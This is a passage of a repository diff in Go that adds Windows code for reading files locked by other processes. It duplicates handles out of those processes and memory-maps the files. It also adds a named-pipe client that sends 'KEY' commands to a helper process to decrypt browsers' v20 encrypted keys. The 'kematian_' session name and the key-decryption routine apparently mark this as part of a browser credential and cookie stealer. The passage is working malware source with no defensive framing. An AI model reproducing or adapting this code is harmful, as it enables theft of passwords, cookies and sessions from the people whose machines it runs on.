procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
|
||||
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
|
||||
procRmGetList = modRstrtmgr.NewProc("RmGetList")
|
||||
)
|
||||
|
||||
var (
|
||||
handleCacheMu sync.Mutex
|
||||
handleCacheVal []systemHandleEntry
|
||||
)
|
||||
|
||||
func cachedSystemHandles() ([]systemHandleEntry, error) {
|
||||
handleCacheMu.Lock()
|
||||
defer handleCacheMu.Unlock()
|
||||
if handleCacheVal != nil {
|
||||
return handleCacheVal, nil
|
||||
}
|
||||
h, err := querySystemHandles()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
handleCacheVal = h
|
||||
return h, nil
|
||||
}
|
||||
|
||||
func ResetHandleCache() {
|
||||
handleCacheMu.Lock()
|
||||
handleCacheVal = nil
|
||||
handleCacheMu.Unlock()
|
||||
}
|
||||
|
||||
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
|
||||
if data, err := os.ReadFile(srcPath); err == nil {
|
||||
logf("read directly: %s", srcPath)
|
||||
return data, nil
|
||||
}
|
||||
|
||||
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
|
||||
pids = mergePIDs(pids, lockPids)
|
||||
}
|
||||
|
||||
if len(pids) > 0 {
|
||||
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
|
||||
logf("read via handle dup: %s", srcPath)
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
if ActivePipeSession != nil {
|
||||
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
|
||||
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
|
||||
}
|
||||
|
||||
func mergePIDs(a, b []uint32) []uint32 {
|
||||
seen := make(map[uint32]struct{}, len(a)+len(b))
|
||||
for _, p := range a {
|
||||
seen[p] = struct{}{}
|
||||
}
|
||||
result := append([]uint32(nil), a...)
|
||||
for _, p := range b {
|
||||
if _, ok := seen[p]; !ok {
|
||||
result = append(result, p)
|
||||
seen[p] = struct{}{}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
|
||||
handles, err := cachedSystemHandles()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pidSet := make(map[uintptr]struct{}, len(pids))
|
||||
for _, p := range pids {
|
||||
pidSet[uintptr(p)] = struct{}{}
|
||||
}
|
||||
|
||||
for _, h := range handles {
|
||||
if _, ok := pidSet[h.UniqueProcessId]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var dupHandle windows.Handle
|
||||
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
|
||||
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
|
||||
windows.CloseHandle(hProcess)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
|
||||
if ft != fileTypeDisk2 {
|
||||
windows.CloseHandle(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
handlePath := getHandlePath(uintptr(dupHandle))
|
||||
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
|
||||
windows.CloseHandle(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := readFileByMapping(dupHandle)
|
||||
windows.CloseHandle(dupHandle)
|
||||
if err == nil {
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
|
||||
}
|
||||
|
||||
func readFileByMapping(h windows.Handle) ([]byte, error) {
|
||||
var fileSize int64
|
||||
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
|
||||
if ok == 0 || fileSize <= 0 {
|
||||
return nil, fmt.Errorf("empty or unreadable file")
|
||||
}
|
||||
|
||||
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
|
||||
if hMapping == 0 {
|
||||
return nil, fmt.Errorf("CreateFileMappingW failed")
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hMapping))
|
||||
|
||||
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
|
||||
if baseAddr == 0 {
|
||||
return nil, fmt.Errorf("MapViewOfFile failed")
|
||||
}
|
||||
defer procUnmapViewOfFile.Call(baseAddr)
|
||||
|
||||
data := make([]byte, fileSize)
|
||||
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func querySystemHandles() ([]systemHandleEntry, error) {
|
||||
bufSize := uint32(1 * 1024 * 1024)
|
||||
for {
|
||||
buf := make([]byte, bufSize)
|
||||
var returnLength uint32
|
||||
status, _, _ := procNtQuerySystemInformation.Call(
|
||||
SystemExtendedHandleInformation,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bufSize),
|
||||
uintptr(unsafe.Pointer(&returnLength)),
|
||||
)
|
||||
if status&0xFFFFFFFF == 0xC0000004 {
|
||||
bufSize = returnLength + 65536
|
||||
if bufSize > 256*1024*1024 {
|
||||
return nil, fmt.Errorf("handle buffer too large")
|
||||
}
|
||||
continue
|
||||
}
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
|
||||
}
|
||||
|
||||
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
|
||||
count := int(info.NumberOfHandles)
|
||||
handles := make([]systemHandleEntry, count)
|
||||
for i := 0; i < count; i++ {
|
||||
entry := (*systemHandleEntry)(unsafe.Pointer(
|
||||
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
|
||||
))
|
||||
handles[i] = *entry
|
||||
}
|
||||
return handles, nil
|
||||
}
|
||||
}
|
||||
|
||||
func getHandlePath(handle uintptr) string {
|
||||
buf := make([]uint16, 32768)
|
||||
n, _, _ := procGetFinalPathNameByHandle.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(len(buf)),
|
||||
0,
|
||||
)
|
||||
if n == 0 || n >= uintptr(len(buf)) {
|
||||
return ""
|
||||
}
|
||||
s := syscall.UTF16ToString(buf[:n])
|
||||
if strings.HasPrefix(s, `\\?\`) {
|
||||
s = s[4:]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func getProcessesLockingFile(filePath string) []uint32 {
|
||||
suffix := filePath
|
||||
if len(suffix) > 8 {
|
||||
suffix = suffix[len(suffix)-8:]
|
||||
}
|
||||
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var sessionHandle uint32
|
||||
ret, _, _ := procRmStartSession.Call(
|
||||
uintptr(unsafe.Pointer(&sessionHandle)), 0,
|
||||
uintptr(unsafe.Pointer(sessionKey)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
defer procRmEndSession.Call(uintptr(sessionHandle))
|
||||
|
||||
filePathW, err := syscall.UTF16PtrFromString(filePath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
ret, _, _ = procRmRegisterResources.Call(
|
||||
uintptr(sessionHandle), 1,
|
||||
uintptr(unsafe.Pointer(&filePathW)),
|
||||
0, 0, 0, 0,
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var needed, count, rebootReason uint32
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 234 || needed == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
infos := make([]rmProcessInfo2, needed)
|
||||
count = needed
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&infos[0])),
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
pids := make([]uint32, 0, count)
|
||||
for i := uint32(0); i < count; i++ {
|
||||
pids = append(pids, infos[i].Process.ProcessId)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package platform
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[platform] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type PipeSession struct {
|
||||
mu sync.Mutex
|
||||
hPipe windows.Handle
|
||||
hProcess windows.Handle
|
||||
pid uint32
|
||||
ownsProcess bool
|
||||
job windows.Handle
|
||||
closed bool
|
||||
}
|
||||
|
||||
var (
|
||||
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
|
||||
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
|
||||
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
|
||||
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
|
||||
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
|
||||
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
|
||||
)
|
||||
|
||||
func createPipeName() string {
|
||||
b := make([]byte, 8)
|
||||
rand.Read(b)
|
||||
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
|
||||
}
|
||||
|
||||
func createPipeServer(pipeName string) (windows.Handle, error) {
|
||||
namePtr, err := syscall.UTF16PtrFromString(pipeName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
const (
|
||||
PIPE_ACCESS_DUPLEX = 0x3
|
||||
PIPE_TYPE_BYTE = 0x0
|
||||
PIPE_READMODE_BYTE = 0x0
|
||||
PIPE_WAIT = 0x0
|
||||
PIPE_UNLIMITED_INSTANCES = 0xFF
|
||||
)
|
||||
|
||||
r, _, err := procCreateNamedPipeW.Call(
|
||||
uintptr(unsafe.Pointer(namePtr)),
|
||||
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
|
||||
PIPE_UNLIMITED_INSTANCES,
|
||||
65536, // output buffer
|
||||
65536, // input buffer
|
||||
15000, // timeout ms
|
||||
0,
|
||||
)
|
||||
if r == ^uintptr(0) {
|
||||
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
|
||||
}
|
||||
return windows.Handle(r), nil
|
||||
}
|
||||
|
||||
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
|
||||
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("CreateEvent: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(hEvent)
|
||||
|
||||
ov := windows.Overlapped{HEvent: hEvent}
|
||||
|
||||
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
|
||||
if r != 0 {
|
||||
return nil // already connected
|
||||
}
|
||||
|
||||
if err == windows.ERROR_PIPE_CONNECTED {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != windows.ERROR_IO_PENDING {
|
||||
return fmt.Errorf("ConnectNamedPipe: %w", err)
|
||||
}
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
|
||||
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
||||
return fmt.Errorf("pipe connect timeout")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) pipeSend(data []byte) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return fmt.Errorf("pipe session closed")
|
||||
}
|
||||
|
||||
length := uint32(len(data))
|
||||
lengthBytes := []byte{
|
||||
byte(length),
|
||||
byte(length >> 8),
|
||||
byte(length >> 16),
|
||||
byte(length >> 24),
|
||||
}
|
||||
|
||||
var written uint32
|
||||
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
|
||||
if err != nil || written != 4 {
|
||||
return fmt.Errorf("write length: %w", err)
|
||||
}
|
||||
|
||||
if length > 0 {
|
||||
var totalWritten uint32
|
||||
for totalWritten < length {
|
||||
var n uint32
|
||||
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return fmt.Errorf("write data: %w", err)
|
||||
}
|
||||
totalWritten += n
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return 0, nil, fmt.Errorf("pipe session closed")
|
||||
}
|
||||
|
||||
var lengthBuf [4]byte
|
||||
var totalRead uint32
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
|
||||
for totalRead < 4 {
|
||||
if time.Now().After(deadline) {
|
||||
return 0, nil, fmt.Errorf("pipe recv timeout")
|
||||
}
|
||||
|
||||
var avail uint32
|
||||
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
|
||||
if r == 0 {
|
||||
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
|
||||
}
|
||||
if avail < 4-totalRead {
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
|
||||
var n uint32
|
||||
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return 0, nil, fmt.Errorf("read length: %w", err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
|
||||
if totalLen < 1 || totalLen > 100*1024*1024 {
|
||||
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
|
||||
}
|
||||
|
||||
buf := make([]byte, totalLen)
|
||||
totalRead = 0
|
||||
for totalRead < totalLen {
|
||||
var n uint32
|
||||
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return 0, nil, fmt.Errorf("read data: %w", err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
status = buf[0]
|
||||
data = buf[1:]
|
||||
return status, data, nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) Close() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return
|
||||
}
|
||||
s.closed = true
|
||||
|
||||
s.sendExitLocked()
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
|
||||
windows.CloseHandle(s.hPipe)
|
||||
|
||||
if s.ownsProcess && s.hProcess != 0 {
|
||||
if s.job != 0 {
|
||||
windows.CloseHandle(s.job)
|
||||
s.job = 0
|
||||
}
|
||||
windows.TerminateProcess(s.hProcess, 0)
|
||||
windows.WaitForSingleObject(s.hProcess, 3000)
|
||||
windows.CloseHandle(s.hProcess)
|
||||
} else if s.hProcess != 0 {
|
||||
windows.CloseHandle(s.hProcess)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
|
||||
h := s.hProcess
|
||||
if h == 0 {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
|
||||
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
wasClosed := s.closed
|
||||
s.mu.Unlock()
|
||||
if wasClosed {
|
||||
return
|
||||
}
|
||||
var code uint32
|
||||
if err := windows.GetExitCodeProcess(h, &code); err != nil {
|
||||
return
|
||||
}
|
||||
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *PipeSession) sendExitLocked() {
|
||||
exitCmd := []byte("EXIT")
|
||||
length := uint32(len(exitCmd))
|
||||
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
|
||||
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
|
||||
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
|
||||
}
|
||||
|
||||
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
||||
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
|
||||
if err := s.pipeSend([]byte(cmd)); err != nil {
|
||||
return nil, fmt.Errorf("send KEY command: %w", err)
|
||||
}
|
||||
|
||||
status, data, err := s.pipeRecv()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recv KEY response: %w", err)
|
||||
}
|
||||
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("decrypt failed: %s", string(data))
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
||||
cmd := fmt.Sprintf("READ:%s", path)
|
||||
if err := s.pipeSend([]byte(cmd)); err != nil {
|
||||
return nil, fmt.Errorf("send READ command: %w", err)
|
||||
}
|
||||
|
||||
status, data, err := s.pipeRecv()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recv READ response: %w", err)
|
||||
}
|
||||
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("read failed: %s", string(data))
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
var ActivePipeSession *PipeSession
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
type PipeSession struct{}
|
||||
|
||||
var ActivePipeSession *PipeSession
|
||||
|
||||
func (s *PipeSession) Close() {}
|
||||
|
||||
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
|
||||
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
Reference in New Issue
Block a user